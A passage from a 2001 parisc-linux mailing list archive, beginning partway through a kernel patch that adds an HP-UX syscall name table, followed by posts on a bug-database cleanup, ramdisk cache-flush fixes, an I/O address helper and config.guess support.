+	NULL,                     /* 355 */
+	"getdents",              
+	"getcontext",            
+	"sysinfo",               
+	"fcntl64",               
+	"ftruncate64",            /* 360 */
+	"fstat64",               
+	"getdirentries64",       
+	"getrlimit64",           
+	"lockf64",               
+	"lseek64",                /* 365 */
+	"lstat64",               
+	"mmap64",                
+	"setrlimit64",           
+	"stat64",                
+	"truncate64",             /* 370 */
+	"ulimit64",              
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                     /* 375 */
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	NULL,                    
+	"setcontext",             /* 380 */
+	"sigaltstack",           
+	"waitid",                
+	"setpgrp",               
+	"recvmsg2",              
+	"sendmsg2",               /* 385 */
+	"socket2",               
+	"socketpair2",           
+	"setregid",              
+	"lwp_create",            
+	"lwp_terminate",          /* 390 */
+	"lwp_wait",              
+	"lwp_suspend",           
+	"lwp_resume",            
+	"lwp_self",              
+	"lwp_abort_syscall",      /* 395 */
+	"lwp_info",              
+	"lwp_kill",              
+	"ksleep",                
+	"kwakeup",               
+	"ksleep_abort",           /* 400 */
+	"lwp_proc_info",         
+	"lwp_exit",              
+	"lwp_continue",          
+	"getacl",                
+	"fgetacl",                /* 405 */
+	"setacl",                
+	"fsetacl",               
+	"getaccess",             
+	"lwp_mutex_init",        
+	"lwp_mutex_lock_sys",     /* 410 */
+	"lwp_mutex_unlock",      
+	"lwp_cond_init",         
+	"lwp_cond_signal",       
+	"lwp_cond_broadcast",    
+	"lwp_cond_wait_sys",      /* 415 */
+	"lwp_getscheduler",      
+	"lwp_setscheduler",      
+	"lwp_getprivate",        
+	"lwp_setprivate",        
+	"lwp_detach",             /* 420 */
+	"mlock",                 
+	"munlock",               
+	"mlockall",              
+	"munlockall",            
+	"shm_open",               /* 425 */
+	"shm_unlink",            
+	"sigqueue",              
+	"sigwaitinfo",           
+	"sigtimedwait",          
+	"sigwait",                /* 430 */
+	"aio_read",              
+	"aio_write",             
+	"lio_listio",            
+	"aio_error",             
+	"aio_return",             /* 435 */
+	"aio_cancel",            
+	"aio_suspend",           
+	"aio_fsync",             
+	"mq_open",               
+	"mq_unlink",              /* 440 */
+	"mq_send",               
+	"mq_receive",            
+	"mq_notify",             
+	"mq_setattr",            
+	"mq_getattr",             /* 445 */
+	"ksem_open",             
+	"ksem_unlink",           
+	"ksem_close",            
+	"ksem_destroy",          
+	"lw_sem_incr",            /* 450 */
+	"lw_sem_decr",           
+	"lw_sem_read",           
+	"mq_close",              
+};
+static const int syscall_names_max = 453;
+
 int
 hpux_unimplemented(unsigned long arg1,unsigned long arg2,unsigned long arg3,
 		   unsigned long arg4,unsigned long arg5,unsigned long arg6,
@@ -342,10 +931,19 @@
 	/* NOTE: sc_num trashes arg8 for the few syscalls that actually
 	 * have a valid 8th argument.
 	 */
+	const char *name = NULL;
+	if ( sc_num <= syscall_names_max && sc_num >= 0 ) {
+		name = syscall_names[sc_num];
+	}
 
-	printk(KERN_DEBUG \
-		"Unimplemented HP-UX syscall emulation. Syscall #%d\n",
+	if ( name ) {
+		printk(KERN_DEBUG "Unimplemented HP-UX syscall emulation. Syscall #%lu (%s)\n",
+		sc_num, name);
+	} else {
+		printk(KERN_DEBUG "Unimplemented unknown HP-UX syscall emulation. Syscall #%lu\n",
 		sc_num);
+	}
+	
 	printk(KERN_DEBUG "  Args: %lx %lx %lx %lx %lx %lx %lx\n",
 		arg1, arg2, arg3, arg4, arg5, arg6, arg7);
 

--fdj2RfSjLxBAspz7--




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurij Smakov <jurij@lokmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug digest [long]
Date: Fri, 05 Oct 2001 10:48:37 -0400
Lines: 203
Approved: news@gmane.org
Message-ID: <200110051448.KAA12495@mail.lokmail.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620572 27087 80.91.229.3 (22 Nov 2014 01:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:52 +0000 (UTC)
Cc: jurijus@theophys.kth.se
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 08:48:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.lokmail.net (MAIL.LOKMAIL.NET [209.48.2.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82E6149E4
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 08:48:47 -0600 (MDT)
Original-Received: from mail.lokmail.net (localhost [127.0.0.1])
	by mail.lokmail.net (8.9.3/8.9.3) with ESMTP id KAA12495;
	Fri, 5 Oct 2001 10:48:37 -0400
Content-ID: <12490.1002293317.1@mail.lokmail.net>
Original-Sender: jurij@mail.lokmail.net
Xref: news.gmane.org gmane.linux.ports.parisc:12478

Hi!

This is an effort to clean up the bug database. Some of the bugs were
filed long ago, so there is a need to update the status on them. I was
able to check out some, but there are still quite a lot of them. It would
be very nice, if people (especially, authors) would quickly look through 
the list and update the status. Also feel free to pick some bug from 
the "Bugs, which can be checked" section and test, whether it is still
present, with the latest kernel/binutils/gcc/glibc.

Also, how does one change a status of the bug? Do You need some special
powers to do so?

===========================================================================
Bugs, which probably can be closed (subject to author's approval)

Author: Came from an old todo list

57     SMP support - Interrupt Distribution (even CPU loading) w/CONFIG_SMP.
       Seems like it is working (or at least, supposed to), according to
       mailing lists. 

Author: Grant Grundler

75     lba_device_present() not implemented.
       Inspection of linux/arch/parisc/kernel/lba_pci.c shows, that
       lba_device_present() is implemented and used.
110    1 sec per 24 hours drift between RTC and kernel.
       Well, I've seen machines doing worse things than that. I think
       such drift is acceptable. If needed, one can run
       ntpdate/hwclock periodically, as suggested in original bug report.

Author: Ryan Bradetich

86     palo sets 'console=tty0', but output still goes to serial console
       instead of STI. This was reported for 712/80. I have such a machine
       and haven't seen any such problems with recent kernels.

Author: Matthew Wilcox

121    User fault on kernel space handler infinite loop. Process, causing
       the fault does not get killed.
       Haven't seen any such behaviour with latest kernels. Anyone?
135    Kernel panic doing two simultaneous compiles on 712. 
       Kernel build with "make -j 2" completed without problems. Is it
       enough?

Author: Thomas Marteau

137    Messages in the mailing list archives do not display dates (is this
       the correct interpretation?). Seems like everything fine with dates
       now.

Author: dannf@dannf.org

139    python and python2 says: "math.sqrt(2.0) == 0.0".
       Tested it with python-base 1.5.2-16, libc6 2.2.3-9. Everything
       works correctly now. 
===========================================================================
Bugs, which are likely to be still open

Author: Came from an old todo list.

63     Kernel debugger (KWDB) not implemented.
       There are a lot of #ifdef CONFIG_KWDB in the sources,
       but I remeber hearing somewhere, that it is not quite
       functional yet. I might be wrong though.

Author: Matthew Wilcox

35     A lot of things to implement in Documentation/parisc/unwritten.
       As far as I can tell, most of the stuff is still unimplemented.
82     710 SCSI and LAN are not working.
       710 might be working with latest PCXS fixes, but no one has reported 
       a success yet. Someone with a 710 might check this out.

Author: Randolph Chung

41     Unimplemented asm checksum routines. Still not implemented. Some
       of the routines (all?) are mentioned in bug #35. Maybe, they
       should be merged?

Author: R. Scholz

146    STI-Console not working with Coral Graphics Card on 715/100

Author: Paul Bame

124    siginfo_t 32-bit != 64-bit requiring lots of work
       This is likely to be still open.

Author: Matt Taggart

138    palo can't figure out whether kernel is narrow or wide. Temporary
       workaround is append 32 or 64 to the end of the kernel file name.
       Is it still open?       

===========================================================================
Bugs, which can be checked more or less easily
(and everyone is encouraged to do so)

Author: Came from an old todo list.

66     Not setting CONFIG_GSC_PS2 in the config causes kernel build
       to fail with undefined references to kbd_read_status,
       kbd_write_command and kbd_write_output.

Author: Paul Bame

88     libgcc.a __udivdi3 uses floating-pt instructions, clash with 
       -mdisable-fpregs
102    The second (actually the first) SCSI controller on C3000 doesn't work.
       Someone with such a machine should probably check it.
142    drivers/net/dmfe.c won't compile as module -- possible gcc bug.
143    aic7xxx.c won't compile with 64-bit kernel.

Author: Richard Hirst

98     64-bit cross-linker does not include millicode functions 
       (shown as undefined by nm).

Author: Matther Wilcox

114    __builtin_cos undefined with g77. Should be in libgcc.a?
127    dl-addr fails. As I understand, it's about failed glibc test.
128    posix/glob-test fails. Another glibc test failure?
129    linuxthreads/ex15 fails. And another one?
       Probably it's a good idea to keep a list of failed tests from the
       latest glibc CVS builds.

Author: Grant Grundler 

132    PPP causes trap 15. Workaround: add "nobsdcomp" and "nodeflate" to
       /etc/ppp/peers/uunet. Now should probably work without any
       workarounds.

Author: Peter Mottram

134    Installation of 0.9 release crashes on C110 with serial console.
       0.9.2 was a major improvement, compared to 0.9. Anyone with such
       a machine care to check this?

Author: Kevin Carson

141    Problem with A2840B keyboard during installation of 0.9.1 release
       on a C160 with STI console. Keyboard does not produce any input,
       once the installation program has started. Other keyboard worked
       fine. Anybody with this combination of hardware willing to check?

===========================================================================
All other bugs (unknown status, irreproducible, uncheckable, unknown
how to check, etc.). Some feedback from authors would be great.

Author: Came from the old todo list

46     Create an IO tree to support multiple I/O MMUs.
62     64-bit kernel - Do the right thing with macro elf_check_arch().
       Anybody knows, what the "right thing" is? :-). Was it done
       already? The referenced posts are not very enlightening.

Author: Matthew Wilcox

37     STI console does not display early enough.
92     Machine sometimes won't boot after interacting with IPL and editing 
       the load options.
119    long double is 64 bit. Some glibc tests fail since they assume
       128 bit for long double on hppa.

Author: Paul Bame

123    ntpdate -b fails to set sub-second clock. Apparently, ntpdate problem.

Author: Grant Grundler

130    iosapic allocs extra EIR bit for shared IRQ line. Harmless, according
       to the original bug report.

Author: Richard Hirst

136    The installer leaves the kernel in /boot/vmlinux-2.4.0, but a
       kernel upgrade, via 
       dpkg -i kernel-image-2.4.0-pa30-32sti_2.4.0_hppa.deb
       will leave the new kernel in /boot/vmlinux-2.4.0-pa30.
       Either /etc/palo.conf needs to get updated to reference the
       new kernel, or we need to use symlinks in /boot, and the symlink
       needs updating.
145    store iplboot in /usr/lib/palo/iplboot on non-hppa systems?

Author: Randolph Chung

140    IDE support. It is not a bug :-), just Randolph volunteering
       to do something about it.

===========================================================================

Best regards,

Jurij.






From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ramdisc fixes
Date: Fri, 5 Oct 2001 16:01:39 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20011005160139.C19206@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620573 27093 80.91.229.3 (22 Nov 2014 01:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 09:01:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AA6549E4
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 09:01:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pWTr-0005MA-00
	for parisc-linux@parisc-linux.org; Fri, 05 Oct 2001 16:01:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12479

I'm thinking about committing the following patch to our cvs:

Index: drivers/block/rd.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/block/rd.c,v
retrieving revision 1.16
diff -u -p -r1.16 rd.c
--- drivers/block/rd.c	2001/08/01 15:25:06	1.16
+++ drivers/block/rd.c	2001/10/05 06:00:50
@@ -227,14 +227,9 @@ static int rd_make_request(request_queue
 	 */
 	bdata = bh_kmap(sbh);
 	if (rw == READ) {
-		/* XXX FIXME This is probably not the right fix, and the
-		 * upstream kernel will probably fix this a different way,
-		 * but for now I'd rather have something which works in
-		 * CVS rather than a semi-secret patch. -PB
-		 */
 		if (sbh != rbh) {
 			memcpy(bdata, rbh->b_data, rbh->b_size);
-			flush_kernel_dcache_range(bdata,rbh->b_size);
+			flush_dcache_page(sbh->b_page);
 		}
 	} else
 		if (sbh != rbh)

However, rd.c changed dramatically in 2.4.10, and I think the following
patch will be equivalent.  I posted a short analysis here
http://marc.theaimsgroup.com/?l=linux-kernel&m=100160260325543&w=2
but neither Linus nor Alan seem to have applied this patch yet.

--- linux-2410/drivers/block/rd.c	Thu Sep 27 08:32:39 2001
+++ linux-2410-rd/drivers/block/rd.c	Thu Sep 27 08:35:34 2001
@@ -276,7 +276,6 @@ static int rd_blkdev_pagecache_IO(int rw
 			if (!Page_Uptodate(page)) {
 				memset(kmap(page), 0, PAGE_CACHE_SIZE);
 				kunmap(page);
-				flush_dcache_page(page);
 				SetPageUptodate(page);
 			}
 
@@ -301,8 +300,11 @@ static int rd_blkdev_pagecache_IO(int rw
 		kunmap(page);
 		bh_kunmap(sbh);
 
-		if (rw != READ)
+		if (rw == READ) {
+			flush_dcache_page(page);
+		} else {
 			SetPageDirty(page);
+		}
 		if (unlock)
 			UnlockPage(page);
 		__free_page(page);

anyone see any problems with my analysis / fixes?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Table version of syscall names patch and some 
	simple wrappers
Date: Fri, 5 Oct 2001 10:13:31 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D868@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620573 27102 80.91.229.3 (22 Nov 2014 01:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 09:13:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06B834904
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 09:13:32 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA07608; Fri, 5 Oct 2001 10:13:31 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHGDR4>; Fri, 5 Oct 2001 10:13:30 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12480

Well, duh... Turns out it was working fine, but I was testing the apps from
a client station that couldn't resolve the host name I put in the license
file.

So, parisc-linux will fit the bill at least for this situation quite nicely.


-- Nathan

> -----Original Message-----
> From: Nathan Neulinger [mailto:nneul@umr.edu]
> Sent: Friday, October 05, 2001 9:29 AM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] Table version of syscall names patch and some
> simple wrappers
> 
> 
> This switches the callnames stuff into a table instead of a 
> large switch. It
> also includes a couple of simple wrappers that helped flexlm 
> get a bit further
> in it's execution. (Looks like it's working from 
> lmdiag/lmstat, but doesn't
> actually work from the applications yet unfortunately.)
> 
> -- Nathan
> 
> ------------------------------------------------------------
> Nathan Neulinger                       EMail:  nneul@umr.edu
> University of Missouri - Rolla         Phone: (573) 341-4841
> Computing Services                       Fax: (573) 341-4216
> 




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP-UX binary compatibility
Date: Fri, 5 Oct 2001 10:14:49 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D869@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620573 27111 80.91.229.3 (22 Nov 2014 01:42:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:53 +0000 (UTC)
Cc: "Uetrecht, Daniel J." <uetrecht@umr.edu>
To: "'John Marvin'" <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 09:15:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87B124904
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 09:15:14 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id KAA08325; Fri, 5 Oct 2001 10:14:47 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHGDTF>; Fri, 5 Oct 2001 10:14:47 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12481

Hmm... Doesn't appear to be in there. At the moment, I actually could care
less about the real host id, but if the proc entry was overwritable, that
would solve my needs perfectly. At the moment, in my local kernel source, I
just wired the appropriate return values in the system call wrapper. 

-- Nathan

> -----Original Message-----
> From: Helge Deller [mailto:helge.deller@sap.com]
> Sent: Friday, October 05, 2001 3:18 AM
> To: Neulinger, Nathan; 'John Marvin';
> parisc-linux@lists.parisc-linux.org
> Cc: Uetrecht, Daniel J.
> Subject: Re: [parisc-linux] HP-UX binary compatibility
> 
> 
> Hi Nathan,
> 
> On Thursday 04 October 2001 17:07, Neulinger, Nathan wrote:
> >
> > troot-halley(11)> uname -a
> > HP-UX halley B.10.20 A 9000/735 2002000004 two-user license
> > troot-halley(12)> uname -i
> > 2002000004
> >
> > It's that 2002000004 that I need. 
> 
> I currently don't have access to a parisc-linux machine, but out of 
> my head I think you may get that number from the /proc/cpuinfo file 
> (maybe it is displayed there in hex) and may use it from the variable
> behind this output for your syscall wrapper.
> 
> Greetings,
> Helge
> 




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug digest [long]
Date: Fri, 5 Oct 2001 08:31:51 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20011005083151.F17735@tausq.org>
References: <200110051448.KAA12495@mail.lokmail.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620574 27121 80.91.229.3 (22 Nov 2014 01:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurij@lokmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 09:32:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 414544904
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 09:32:12 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id tjxyhaaa for parisc-linux@lists.parisc-linux.org; Fri, 5 Oct 2001 08:27:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15pWx6-0007OL-00; Fri, 05 Oct 2001 08:31:52 -0700
Content-Disposition: inline
In-Reply-To: <200110051448.KAA12495@mail.lokmail.net>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12482

> Also, how does one change a status of the bug? Do You need some special
> powers to do so?

http://bugs.parisc-linux.org/server-control.html has the details.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Fri, 05 Oct 2001 09:56:31 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200110051556.JAA04331@puffin.external.hp.com>
References: <marteaut@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620574 27125 80.91.229.3 (22 Nov 2014 01:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 09:59:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F9724904
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 09:59:35 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA04331;
	Fri, 5 Oct 2001 09:56:31 -0600
In-Reply-To: Message from Thomas Marteau <marteaut@esiee.fr> 
   of "Fri, 05 Oct 2001 12:53:32 +0200." <3BBD912C.9DA840E2@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:12483

Thomas Marteau wrote:
> I have two things to say but I need an Hardware HP guy to answer those:
> 	-1) Page 69 of LASI_ers.ps, note 2 is mentionned but I can see only the
> note 1. Why?

Hacked reformatting?
Here are two notes from "Table 4: PS2 Interface registers":
Note 1: Each PS2 device returns a unique hardwired ID code in bits 3:0 of ID.
Note 2: Resetting the block disables it (see Table 6).

> 	-2) On my B132, in boot_admin, when you press Escape Key too much (more
> than 2 times), you can't type anything!
> you need to press enter and then you can type. This is reproductible! Is
> it a normal behaviour?

Could this be a firmware bug?

grant




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pdc_add_valid
Date: Fri, 5 Oct 2001 17:22:22 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20011005172222.D19206@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620574 27130 80.91.229.3 (22 Nov 2014 01:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:54 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 10:22:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 211AB49F1
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 10:22:23 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pXjy-0007CW-00
	for parisc-linux@parisc-linux.org; Fri, 05 Oct 2001 17:22:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12484

The pdc_add_valid function really annoys me.  Or maybe it's just how
it's used:

        if (!pdc_add_valid( (void *)(port+4))) {

Which says to me `if this address is not valid' -- the opposite of what it
does.  It could be rewritten as:

	if (pdc_add_valid((void *)(port+4)) == PDC_OK) {

but this takes more effort.  In my tree, I've added valid_io_addr which
does what it says on the tin:

	if (valid_io_addr(port+4)) {

For the moment, I've put it in <asm/io.h>, since it is for I/O addresses.

+int valid_io_addr(unsigned long addr)
+{
+       return (pdc_add_valid(addr) == PDC_OK);
+}

But maybe we should replace pdc_add_valid with valid_io_addr?  Or a
different function?  Suggestions appreciated.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] config.guess/config.sub support?
Date: Fri, 5 Oct 2001 11:26:27 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D86D@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620574 27139 80.91.229.3 (22 Nov 2014 01:42:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:54 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 10:26:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id B083F49F1
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 10:26:27 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id LAA02599; Fri, 5 Oct 2001 11:26:26 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHGF6V>; Fri, 5 Oct 2001 11:26:26 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12485

Are there any patches for config.guess/config.sub to add reasonable support
for parisc-linux? Right now, the ones 

I was able to get reasonable config.sub behavior by adding a basic_machine
check for parisc-unknown, but has anyone submitted anything better to the
maintainers?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] config.guess/config.sub support?
Date: Fri, 05 Oct 2001 11:23:25 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20011005172325.4A09237CC0@carmen.fc.hp.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D86D@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620575 27144 80.91.229.3 (22 Nov 2014 01:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Neulinger, Nathan" <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 11:23:36 2001
